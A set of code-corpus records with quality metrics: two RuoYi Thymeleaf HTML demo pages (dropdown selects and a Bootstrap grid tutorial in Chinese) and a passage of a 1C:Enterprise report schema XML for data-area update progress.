{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/select.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('下拉框')" /> <th:block th:include="include :: select2-css" /> <th:block th:include="include :: bootstrap-select-css" /> </head> <body class="gray-bg"> <form> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>下拉框 <small>https://github.com/select2/select2</small></h5> </div> <div class="ibox-content"> <div class="form-group"> <label class="font-noraml">单选</label> <select class="form-control"> <option value="">--请选择开发语言--</option> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </select> </div> <div class="form-group"> <label class="font-noraml">分组单选</label> <select class="form-control"> <optgroup label="--请选择开发语言--"> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </optgroup> <optgroup label="--请选择数据库--"> <option value="Oracle">Oracle</option> <option value="Mysql">Mysql</option> <option value="Sysbase">Sysbase</option> </optgroup> </select> </div> <div class="form-group"> <label class="font-noraml">多选</label> <select class="form-control select2-multiple" multiple> <option value="">请选择开发语言</option> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </select> </div> <div class="form-group"> <label class="font-noraml">分组多选</label> <select class="form-control select2-multiple" multiple> <optgroup label="--请选择开发语言--"> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </optgroup> <optgroup label="--请选择数据库--"> <option value="Oracle">Oracle</option> <option value="Mysql">Mysql</option> <option value="Sysbase">Sysbase</option> </optgroup> </select> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#select2" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#select2</a></div> </div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>下拉框 <small>https://github.com/snapappointments/bootstrap-select</small></h5> </div> <div class="ibox-content"> <div class="form-group"> <label class="font-noraml">单选</label> <select class="form-control noselect2 selectpicker"> <option value="">--请选择开发语言--</option> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </select> </div> <div class="form-group"> <label class="font-noraml">分组多选</label> <select class="form-control noselect2 selectpicker"> <optgroup label="--请选择开发语言--"> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </optgroup> <optgroup label="--请选择数据库--"> <option value="Oracle">Oracle</option> <option value="Mysql">Mysql</option> <option value="Sysbase">Sysbase</option> </optgroup> </select> </div> <div class="form-group"> <label class="font-noraml">多选</label> <select class="form-control noselect2 selectpicker" data-none-selected-text="请选择开发语言" multiple> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </select> </div> <div class="form-group"> <label class="font-noraml">分组多选</label> <select class="form-control noselect2 selectpicker" data-none-selected-text="请选择" multiple> <optgroup label="--请选择开发语言--"> <option value="Java">Java</option> <option value="PHP">PHP</option> <option value=".NET">.NET</option> </optgroup> <optgroup label="--请选择数据库--"> <option value="Oracle">Oracle</option> <option value="Mysql">Mysql</option> <option value="Sysbase">Sysbase</option> </optgroup> </select> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-select" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-select</a></div> </div> </div> </div> </div> </div> </div> </form> <th:block th:include="include :: footer" /> <th:block th:include="include :: select2-js" /> <th:block th:include="include :: bootstrap-select-js" /> </body> </html>
7,371
select
html
en
html
code
{"qsc_code_num_words": 591, "qsc_code_num_chars": 7371.0, "qsc_code_mean_word_length": 5.02368866, "qsc_code_frac_words_unique": 0.13705584, "qsc_code_frac_chars_top_2grams": 0.1444931, "qsc_code_frac_chars_top_3grams": 0.15459751, "qsc_code_frac_chars_top_4grams": 0.05725834, "qsc_code_frac_chars_dupe_5grams": 0.9289323, "qsc_code_frac_chars_dupe_6grams": 0.9043449, "qsc_code_frac_chars_dupe_7grams": 0.88312563, "qsc_code_frac_chars_dupe_8grams": 0.83866622, "qsc_code_frac_chars_dupe_9grams": 0.8258673, "qsc_code_frac_chars_dupe_10grams": 0.8211519, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00453058, "qsc_code_frac_chars_whitespace": 0.46099579, "qsc_code_size_file_byte": 7371.0, "qsc_code_num_lines": 148.0, "qsc_code_num_chars_line_max": 195.0, "qsc_code_num_chars_line_mean": 49.80405405, "qsc_code_frac_chars_alphabet": 0.74276365, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.82394366, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.15113282, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.07868675, "qsc_codehtml_num_chars_text": 580.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/grid.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('栅格')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>栅格设置</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>通过下表可以详细查看 Bootstrap 的栅格系统是如何在多种屏幕设备上工作的。</p> <div class="table-responsive"> <table class="table table-bordered table-striped"> <thead> <tr> <th></th> <th> 超小屏幕 <small>手机 (&lt;768px)</small> </th> <th> 小屏幕 <small>平板 (≥768px)</small> </th> <th> 中等屏幕 <small>桌面显示器 (≥992px)</small> </th> <th> 大屏幕 <small>大桌面显示器 (≥1200px)</small> </th> </tr> </thead> <tbody> <tr> <th class="text-nowrap">栅格系统行为</th> <td>总是水平排列</td> <td colspan="3">开始是堆叠在一起的,当大于这些阈值时将变为水平排列C</td> </tr> <tr> <th class="text-nowrap"><code>.container</code> 最大宽度</th> <td>None (自动)</td> <td>750px</td> <td>970px</td> <td>1170px</td> </tr> <tr> <th class="text-nowrap">类前缀</th> <td><code>.col-xs-</code> </td> <td><code>.col-sm-</code> </td> <td><code>.col-md-</code> </td> <td><code>.col-lg-</code> </td> </tr> <tr> <th class="text-nowrap">列(column)数</th> <td colspan="4">12</td> </tr> <tr> <th class="text-nowrap">最大列(column)宽</th> <td class="text-muted">自动</td> <td>~62px</td> <td>~81px</td> <td>~97px</td> </tr> <tr> <th class="text-nowrap">槽(gutter)宽</th> <td colspan="4">30px (每列左右均有 15px)</td> </tr> <tr> <th class="text-nowrap">可嵌套</th> <td colspan="4">是</td> </tr> <tr> <th class="text-nowrap">偏移(Offsets)</th> <td colspan="4">是</td> </tr> <tr> <th class="text-nowrap">列排序</th> <td colspan="4">是</td> </tr> </tbody> </table> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>从堆叠到水平排列</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>使用单一的一组 <code>.col-md-*</code> 栅格类,就可以创建一个基本的栅格系统,在手机和平板设备上一开始是堆叠在一起的(超小屏幕到小屏幕这一范围),在桌面(中等)屏幕设备上变为水平排列。所有“列(column)必须放在 ” <code>.row</code> 内。</p> <div class="row show-grid"> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> <div class="col-md-1">.col-md-1</div> </div> <div class="row show-grid"> <div class="col-md-8">.col-md-8</div> <div class="col-md-4">.col-md-4</div> </div> <div class="row show-grid"> <div class="col-md-4">.col-md-4</div> <div class="col-md-4">.col-md-4</div> <div class="col-md-4">.col-md-4</div> </div> <div class="row show-grid"> <div class="col-md-6">.col-md-6</div> <div class="col-md-6">.col-md-6</div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>移动设备和桌面屏幕</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>是否不希望在小屏幕设备上所有列都堆叠在一起?那就使用针对超小屏幕和中等屏幕设备所定义的类吧,即 <code>.col-xs-*</code> 和 <code>.col-md-*</code>。请看下面的实例,研究一下这些是如何工作的。</p> <div class="row show-grid"> <div class="col-xs-12 col-md-8">.col-xs-12 .col-md-8</div> <div class="col-xs-6 col-md-4">.col-xs-6 .col-md-4</div> </div> <div class="row show-grid"> <div class="col-xs-6 col-md-4">.col-xs-6 .col-md-4</div> <div class="col-xs-6 col-md-4">.col-xs-6 .col-md-4</div> <div class="col-xs-6 col-md-4">.col-xs-6 .col-md-4</div> </div> <div class="row show-grid"> <div class="col-xs-6">.col-xs-6</div> <div class="col-xs-6">.col-xs-6</div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>手机、平板、桌面</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>在上面案例的基础上,通过使用针对平板设备的 <code>.col-sm-*</code> 类,我们来创建更加动态和强大的布局吧。</p> <div class="row show-grid"> <div class="col-xs-12 col-sm-6 col-md-8">.col-xs-12 .col-sm-6 .col-md-8</div> <div class="col-xs-6 col-md-4">.col-xs-6 .col-md-4</div> </div> <div class="row show-grid"> <div class="col-xs-6 col-sm-4">.col-xs-6 .col-sm-4</div> <div class="col-xs-6 col-sm-4">.col-xs-6 .col-sm-4</div> <!-- Optional: clear the XS cols if their content doesn't match in height --> <div class="clearfix visible-xs"></div> <div class="col-xs-6 col-sm-4">.col-xs-6 .col-sm-4</div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>多余的列(column)将另起一行排列</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>在等宽的4网格中,网格不等高会碰到问题,为了解决这个问题,可使用<code>.clearfix</code>。<a href="#responsive-utilities">响应实用工具类</a> </p> <div class="row show-grid"> <div class="col-xs-6 col-sm-3"> .col-xs-6 .col-sm-3 <br>调整窗口大小或者在手机上查看本示例 </div> <div class="col-xs-6 col-sm-3">.col-xs-6 .col-sm-3</div> <!-- Add the extra clearfix for only the required viewport --> <div class="clearfix visible-xs"></div> <div class="col-xs-6 col-sm-3">.col-xs-6 .col-sm-3</div> <div class="col-xs-6 col-sm-3">.col-xs-6 .col-sm-3</div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>列偏移</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>使用 <code>.col-md-offset-*</code> 类可以将列向右侧偏移。这些类实际是通过使用 <code>*</code> 选择器为当前元素增加了左侧的边距(margin)。例如,<code>.col-md-offset-4</code> 类将 <code>.col-md-4</code> 元素向右侧偏移了4个列(column)的宽度。</p> <div class="row show-grid"> <div class="col-md-4">.col-md-4</div> <div class="col-md-4 col-md-offset-4">.col-md-4 .col-md-offset-4</div> </div> <div class="row show-grid"> <div class="col-md-3 col-md-offset-3">.col-md-3 .col-md-offset-3</div> <div class="col-md-3 col-md-offset-3">.col-md-3 .col-md-offset-3</div> </div> <div class="row show-grid"> <div class="col-md-6 col-md-offset-3">.col-md-6 .col-md-offset-3</div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>嵌套列</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>为了使用内置的栅格系统将内容再次嵌套,可以通过添加一个新的 <code>.row</code> 元素和一系列 <code>.col-sm-*</code> 元素到已经存在的 <code>.col-sm-*</code> 元素内。被嵌套的行(row)所包含的列(column)的个数不能超过12(其实,没有要求你必须占满12列)。</p> <div class="row show-grid"> <div class="col-md-9"> 第一级: .col-md-9 <div class="row show-grid"> <div class="col-md-6"> 第二级: .col-md-6 </div> <div class="col-md-6"> 第二级: .col-md-6 </div> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>列排序</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p>通过使用 <code>.col-md-push-*</code> 和 <code>.col-md-pull-*</code> 类就可以很容易的改变列(column)的顺序。</p> <div class="row show-grid"> <div class="col-md-9 col-md-push-3">.col-md-9 .col-md-push-3</div> <div class="col-md-3 col-md-pull-9">.col-md-3 .col-md-pull-9</div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> </body> </html>
20,769
grid
html
en
html
code
{"qsc_code_num_words": 1813, "qsc_code_num_chars": 20769.0, "qsc_code_mean_word_length": 3.34969664, "qsc_code_frac_words_unique": 0.11252068, "qsc_code_frac_chars_top_2grams": 0.14885559, "qsc_code_frac_chars_top_3grams": 0.08447225, "qsc_code_frac_chars_top_4grams": 0.06520665, "qsc_code_frac_chars_dupe_5grams": 0.76996542, "qsc_code_frac_chars_dupe_6grams": 0.74724189, "qsc_code_frac_chars_dupe_7grams": 0.74724189, "qsc_code_frac_chars_dupe_8grams": 0.7001482, "qsc_code_frac_chars_dupe_9grams": 0.7001482, "qsc_code_frac_chars_dupe_10grams": 0.69273835, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02613279, "qsc_code_frac_chars_whitespace": 0.57070634, "qsc_code_size_file_byte": 20769.0, "qsc_code_num_lines": 432.0, "qsc_code_num_chars_line_max": 209.0, "qsc_code_num_chars_line_mean": 48.07638889, "qsc_code_frac_chars_alphabet": 0.65466577, "qsc_code_frac_chars_comments": 0.00669267, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.80440098, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.12239457, "qsc_code_frac_chars_long_word_length": 0.00101794, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.13428668, "qsc_codehtml_num_chars_text": 2789.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ПрогрессОбновленияОбластейДанных/Templates/ОсновнаяСхемаКомпоновкиДанных/Ext/Template.xml
<?xml version="1.0" encoding="UTF-8"?> <DataCompositionSchema xmlns="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcscom="http://v8.1c.ru/8.1/data-composition-system/common" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dataSource> <name>ИсточникДанных1</name> <dataSourceType>Local</dataSourceType> </dataSource> <dataSet xsi:type="DataSetObject"> <name>СводнаяИнформация</name> <field xsi:type="DataSetFieldField"> <dataPath>Обновлено</dataPath> <field>Обновлено</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обновлено</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Выполняется</dataPath> <field>Выполняется</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Выполняется</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Ожидают</dataPath> <field>Ожидают</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Ожидают</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Проблемы</dataPath> <field>Проблемы</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Проблемы</v8:content> </v8:item> </title> </field> <dataSource>ИсточникДанных1</dataSource> <objectName>СводнаяИнформация</objectName> </dataSet> <dataSet xsi:type="DataSetObject"> <name>ОбластиСПроблемами</name> <field xsi:type="DataSetFieldField"> <dataPath>ОбластьДанных</dataPath> <field>ОбластьДанных</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Область данных</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ИмяОбработчика</dataPath> <field>ИмяОбработчика</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработчик</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ИнформацияОбОшибке</dataPath> <field>ИнформацияОбОшибке</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Информация об ошибке</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ИмяБиблиотеки</dataPath> <field>ИмяБиблиотеки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Имя библиотеки</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Статус</dataPath> <field>Статус</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Статус</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ДлительностьОбработки</dataPath> <field>ДлительностьОбработки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Длительность обработки</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Версия</dataPath> <field>Версия</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Версия</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>РежимВыполнения</dataPath> <field>РежимВыполнения</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Режим выполнения</v8:content> </v8:item> </title> </field> <dataSource>ИсточникДанных1</dataSource> <objectName>ОбластиСПроблемами</objectName> </dataSet> <calculatedField> <dataPath>Количество</dataPath> <expression>1</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Количество</v8:content> </v8:item> </title> </calculatedField> <totalField> <dataPath>Выполняется</dataPath> <expression>Максимум(Выполняется)</expression> </totalField> <totalField> <dataPath>Обновлено</dataPath> <expression>Максимум(Обновлено)</expression> </totalField> <totalField> <dataPath>Ожидают</dataPath> <expression>Максимум(Ожидают)</expression> </totalField> <totalField> <dataPath>Проблемы</dataPath> <expression>Максимум(Проблемы)</expression> </totalField> <totalField> <dataPath>Количество</dataPath> <expression>Сумма(Количество)</expression> </totalField> <settingsVariant> <dcsset:name>Основной</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Прогресс обновления областей данных</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ТипДиаграммы</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartType">Pie</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemChart"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Выполняется</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Обновлено</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Ожидают</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Проблемы</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartType">Pie</dcscor:value> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.ВидПодписей</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartLabelType">SeriesPercent</dcscor:value> </dcscor:item> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Сводная информация по областям данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> <dcsset:item xsi:type="dcsset:StructureItemTable"> <dcsset:row> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ОбластьДанных</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбластьДанных</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Количество</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ОбластьДанных</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter/> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ГоризонтальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Left</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:item> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ИмяБиблиотеки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> 